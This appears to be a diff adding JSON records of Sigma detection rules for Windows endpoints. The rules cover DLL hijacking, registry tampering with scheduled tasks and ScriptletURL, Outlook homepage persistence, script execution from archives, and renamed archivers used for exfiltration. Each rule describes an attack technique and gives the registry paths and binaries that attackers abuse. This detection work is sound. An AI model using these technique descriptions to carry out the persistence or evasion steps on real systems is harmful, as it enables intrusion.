+  "rule_id": "1b4396df-ab50-493f-8787-8ca376e71f09",
+  "rule_name": "DLL Hijacking via wsmprovhost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wsmprovhost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1b45b5ab-100f-4546-9d16-1e8f6b6cb22b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078559Z",
+  "creation_date": "2026-03-23T11:45:34.078561Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078565Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/netero1010/GhostTask",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1112_scheduled_task_updated_registry.yml",
+  "content": "title: Scheduled Task Actions Updated via Registry Modification\nid: 1b45b5ab-100f-4546-9d16-1e8f6b6cb22b\ndescription: |\n    Detects the update of scheduled task actions via a manual registry modification.\n    Scheduled tasks are often used by attackers as persistence mechanisms.\n    To evade detection, they can update an existing scheduled task through a registry key manipulation, however, SYSTEM privileges are required.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://github.com/netero1010/GhostTask\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2024/01/04\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\\\*\\Actions'\n        ProcessImage|contains: '\\'\n\n    filter_scheduler:\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p' # windows versions before 1703\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs' # windows 7\n            - '?:\\windows\\system32\\svchost.exe -k netsvcs -s Schedule' # Windows 10 1703\n\n    exclusion_windeploy:\n        ProcessCommandLine:\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe /preoobe'\n            - '?:\\Windows\\System32\\oobe\\Setup.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\oobe\\windeploy.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1b45b5ab-100f-4546-9d16-1e8f6b6cb22b",
+  "rule_name": "Scheduled Task Actions Updated via Registry Modification",
+  "rule_description": "Detects the update of scheduled task actions via a manual registry modification.\nScheduled tasks are often used by attackers as persistence mechanisms.\nTo evade detection, they can update an existing scheduled task through a registry key manipulation, however, SYSTEM privileges are required.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2024-01-04",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1b63e7c7-7ee6-45a2-9107-662ddc98a824",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091179Z",
+  "creation_date": "2026-03-23T11:45:34.091181Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091186Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wowreg32.yml",
+  "content": "title: DLL Hijacking via wowreg32.exe\nid: 1b63e7c7-7ee6-45a2-9107-662ddc98a824\ndescription: |\n    Detects potential Windows DLL Hijacking via wowreg32.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wowreg32.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\devrtl.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1b63e7c7-7ee6-45a2-9107-662ddc98a824",
+  "rule_name": "DLL Hijacking via wowreg32.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wowreg32.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1b8277e3-f753-4c37-9719-e62bb969c2b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627150Z",
+  "creation_date": "2026-03-23T11:45:34.627152Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627156Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2020/05/20/persistence-com-hijacking/",
+    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/Archive-Old-Version/OSScripts/Slmgr.vbs.md",
+    "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/",
+    "https://attack.mitre.org/techniques/T1216/",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1546/015/"
+  ],
+  "name": "t1216_com_hijacking_remote_scriptlet_registry.yml",
+  "content": "title: Registry ScriptletURL Modified\nid: 1b8277e3-f753-4c37-9719-e62bb969c2b3\ndescription: |\n    Detects the registration of a remote Windows Scripting Components via the ScriptletURL registry key.\n    This key defines the remote location of the arbitrary .sct file that will be downloaded and executed when the related COM class will be invoked.\n    Attackers can use a remote malicious scriptlet to achieve persistence and evade detection.\n    It is recommended to check for other suspicious activities by the process making the registry modification.\nreferences:\n    - https://pentestlab.blog/2020/05/20/persistence-com-hijacking/\n    - https://github.com/LOLBAS-Project/LOLBAS/blob/master/Archive-Old-Version/OSScripts/Slmgr.vbs.md\n    - https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/\n    - https://attack.mitre.org/techniques/T1216/\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1546/015/\ndate: 2022/11/14\nmodified: 2026/02/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1216\n    - attack.t1112\n    - attack.persistence\n    - attack.t1546.015\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|endswith: '\\CLSID\\{????????-????-????-????-????????????}\\ScriptletURL\\(Default)'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_setuphost:\n        ProcessParentImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n\n    exclusion_dismhost:\n        ProcessImage: '?:\\windows\\temp\\\\????????-????-????-????-????????????\\dismhost.exe'\n\n    exclusion_tiworker:\n        ProcessImage: '?:\\windows\\winsxs\\amd64_microsoft-windows-servicingstack_*\\tiworker.exe'\n\n    exclusion_update:\n        ProcessImage: '?:\\Windows\\System32\\poqexec.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1b8277e3-f753-4c37-9719-e62bb969c2b3",
+  "rule_name": "Registry ScriptletURL Modified",
+  "rule_description": "Detects the registration of a remote Windows Scripting Components via the ScriptletURL registry key.\nThis key defines the remote location of the arbitrary .sct file that will be downloaded and executed when the related COM class will be invoked.\nAttackers can use a remote malicious scriptlet to achieve persistence and evade detection.\nIt is recommended to check for other suspicious activities by the process making the registry modification.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2026-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1216",
+    "attack.t1546.015"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1b864817-8a01-4cfe-9481-20ce115320c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296790Z",
+  "creation_date": "2026-03-23T11:45:35.296792Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296797Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.pingcastle.com/",
+    "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/"
+  ],
+  "name": "t1087_002_pingcastle.yml",
+  "content": "title: PingCastle Execution\nid: 1b864817-8a01-4cfe-9481-20ce115320c8\ndescription: |\n    Detects the execution of PingCastle.\n    PingCastle is a tool providing Active Directory security indicators and is often used by attackers during reconnaissance phase to find Active Directory vulnerabilities.\n    This tool is often used for legitimate purposes. It is recommended to determine if the usage of this tool was warranted by the system administrators.\nreferences:\n    - https://www.pingcastle.com/\n    - https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/\ndate: 2023/03/20\nmodified: 2026/02/25\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.002\n    - attack.t1482\n    - attack.t1018\n    - attack.t1615\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.PingCastle\n    - classification.Windows.Behavior.ActiveDirectory\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName:\n            - 'PingCastle.exe'\n            - 'PingCastle.dll'\n\n    condition: selection\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1b864817-8a01-4cfe-9481-20ce115320c8",
+  "rule_name": "PingCastle Execution",
+  "rule_description": "Detects the execution of PingCastle.\nPingCastle is a tool providing Active Directory security indicators and is often used by attackers during reconnaissance phase to find Active Directory vulnerabilities.\nThis tool is often used for legitimate purposes. It is recommended to determine if the usage of this tool was warranted by the system administrators.\n",
+  "rule_creation_date": "2023-03-20",
+  "rule_modified_date": "2026-02-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1087.002",
+    "attack.t1482",
+    "attack.t1615"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1c0971b5-dd3d-4802-967a-67f521f0ac2c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626798Z",
+  "creation_date": "2026-03-23T11:45:34.626800Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626804Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.004/T1137.004.md",
+    "https://attack.mitre.org/techniques/T1137/004/"
+  ],
+  "name": "t1137_004_outlook_homepage_changed.yml",
+  "content": "title: Microsoft Outlook Homepage Changed via Registry\nid: 1c0971b5-dd3d-4802-967a-67f521f0ac2c\ndescription: |\n    Detects a change of the Microsoft Outlook homepage via the registry.\n    Attackers can achieve persistence at Outlook boot via a custom crafted HTML file used as an homepage.\n    It is recommended to check the new home page for suspicious content such as command execution and to analyze the process responsible for the registry modification.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1137.004/T1137.004.md\n    - https://attack.mitre.org/techniques/T1137/004/\ndate: 2021/06/24\nmodified: 2026/02/03\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1137.004\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Office\\\\*\\Outlook\\WebView\\\\*\\URL'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1c0971b5-dd3d-4802-967a-67f521f0ac2c",
+  "rule_name": "Microsoft Outlook Homepage Changed via Registry",
+  "rule_description": "Detects a change of the Microsoft Outlook homepage via the registry.\nAttackers can achieve persistence at Outlook boot via a custom crafted HTML file used as an homepage.\nIt is recommended to check the new home page for suspicious content such as command execution and to analyze the process responsible for the registry modification.\n",
+  "rule_creation_date": "2021-06-24",
+  "rule_modified_date": "2026-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1137.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1c2f6b57-2c30-4918-afa5-ff6fff38e99d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085596Z",
+  "creation_date": "2026-03-23T11:45:34.085599Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085603Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/dez_/status/1620828523094228992",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_002_script_execution_from_archive.yml",
+  "content": "title: Script Executed from Archive\nid: 1c2f6b57-2c30-4918-afa5-ff6fff38e99d\ndescription: |\n    Detects the execution of a script from an archive using wscript.exe or cscript.exe.\n    This can be indicative of a user execution of a malicious script, directly from the archive browser.\n    It is recommended to investigate the source of the archive file, its content, as well as search for malicious actions performed by the script itself.\nreferences:\n    - https://twitter.com/dez_/status/1620828523094228992\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2023/09/05\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.t1059\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName:\n            - 'wscript.exe'\n            - 'cscript.exe'\n        CommandLine|contains:\n            - '?:\\Users\\\\*\\Temp\\RAR$'\n            - '?:\\Users\\\\*\\Temp\\7z'\n            - '?:\\Users\\\\*\\Temp\\Temp?_*.zip\\'\n            - '?:\\Users\\\\*\\Temp\\\\*_*.zip.???\\'\n\n    exclusion_ivanti:\n        ParentImage:\n            - '?:\\Program Files\\Ivanti\\Workspace Control\\pfwsmgr.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pfwsmgr.exe'\n\n    exclusion_landesk:\n        ParentImage|endswith: '\\Microsoft\\Dynamics Ax*\\New\\Files\\VisualCPP*.exe'\n\n    exclusion_octave:\n        CommandLine: 'wscript.exe ?:\\Users\\\\*AppData\\Local\\Programs\\GNU Octave\\Octave-*\\octave.vbs * ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*_*.zip.???\\\\*'\n\n    exclusion_ibm:\n        CommandLine: '?:\\Windows\\System32\\WScript.exe ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*_IBMiAccess_*.zip.dc7\\Windows_Application\\install_*.js '\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1c2f6b57-2c30-4918-afa5-ff6fff38e99d",
+  "rule_name": "Script Executed from Archive",
+  "rule_description": "Detects the execution of a script from an archive using wscript.exe or cscript.exe.\nThis can be indicative of a user execution of a malicious script, directly from the archive browser.\nIt is recommended to investigate the source of the archive file, its content, as well as search for malicious actions performed by the script itself.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1c812220-3709-4900-82e9-d3a5410edada",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606332Z",
+  "creation_date": "2026-03-23T11:45:34.606336Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606343Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1560/001/"
+  ],
+  "name": "t1560_001_archiver_tool_renamed.yml",
+  "content": "title: Renamed Archiver Tool Executed\nid: 1c812220-3709-4900-82e9-d3a5410edada\ndescription: |\n    Detects when a common archiver tool, such as 7Zip or WinRAR, has been renamed and executed.\n    Renamed archivers have been observed in use by threat actors for exfiltrating data.\n    It is recommended to investigate this behavior to determine if this archiver is not being used to compress sensitive data for exfiltration and to whitelist any recurring archive compressions such as backups.\nreferences:\n    - https://attack.mitre.org/techniques/T1560/001/\ndate: 2020/12/15\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1560\n    - attack.t1560.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Collection\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_original:\n        - Description: 'Command line RAR'\n        - OriginalFileName:\n            - '7z.exe'\n            - '7za.exe'\n    selection_goodname:\n        - Image:\n            - '*\\rar.exe'\n            - '*\\unrar.exe'\n            - '*\\7z.exe'\n            - '*\\7za.exe'\n\n    exclusion_unetbootin:\n        Image|endswith: 'AppData\\Local\\Temp\\sevnz.exe'\n\n    exclusion_known_fp:\n        - ParentImage:\n            - '?:\\Program Files (x86)\\Western Digital\\Discovery\\Current\\WD Discovery.exe'\n            - '?:\\Program Files (x86)\\NCH Software\\ExpressZip\\expresszip.exe'\n            - '*\\AppData\\Roaming\\NCH Software\\Program Files\\ExpressZip\\expresszip.exe'\n            # C:\\Users\\XXX\\AppData\\Local\\Temp\\7zS8D4DFD71\\BlueStacksInstaller.exe\n            # D:\\Utilisateurs\\XXX\\AppData\\Local\\Temp\\7zS033C881C\\BlueStacksInstaller.exe\n            - '*\\AppData\\Local\\Temp\\7zs????????\\BlueStacksInstaller.exe'\n            # C:\\Users\\XXX\\AppData\\Local\\Temp\\WDDiscoveryInstaller\\WD_Discovery_637623756875899969\\WD Discovery\\WD Discovery.exe\n            - '*\\AppData\\Local\\Temp\\WDDiscoveryInstaller\\WD_Discovery_*\\WD Discovery\\WD Discovery.exe'\n        - Image:\n            - '?:\\Program Files (x86)\\BluestacksCN\\Engine\\7zr.exe'\n            - '?:\\Program Files\\BlueStacks_nxt\\7zr.exe'\n            - '?:\\Program Files (x86)\\Lenovo\\LockScreen\\7zwrap.exe'\n            - '*\\AppData\\Local\\Temp\\WDDiscoveryInstaller\\WDDiscoveryInstaller.Resources.7za.exe'\n            - '*\\NCH Software\\Components\\7zip\\7Zip.exe'\n            - '*\\NCH Software\\Components\\7za32\\7Za32.exe'\n            - '?:\\program files\\wondershare\\pdfelement*\\zip.exe'\n            - '?:\\Program Files\\Wondershare\\Wondershare PDFelement pour Windows *\\zip.exe'\n            - '?:\\Windows\\LTSvc\\_LTUPDATE\\LabtechUpdate.exe'\n\n    condition: selection_original and not selection_goodname and not 1 of exclusion_*\nfalsepositives:\n    - Legitimate use of archivers by an administrator or a third-party application.\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1c812220-3709-4900-82e9-d3a5410edada",
+  "rule_name": "Renamed Archiver Tool Executed",
+  "rule_description": "Detects when a common archiver tool, such as 7Zip or WinRAR, has been renamed and executed.\nRenamed archivers have been observed in use by threat actors for exfiltrating data.\nIt is recommended to investigate this behavior to determine if this archiver is not being used to compress sensitive data for exfiltration and to whitelist any recurring archive compressions such as backups.\n",
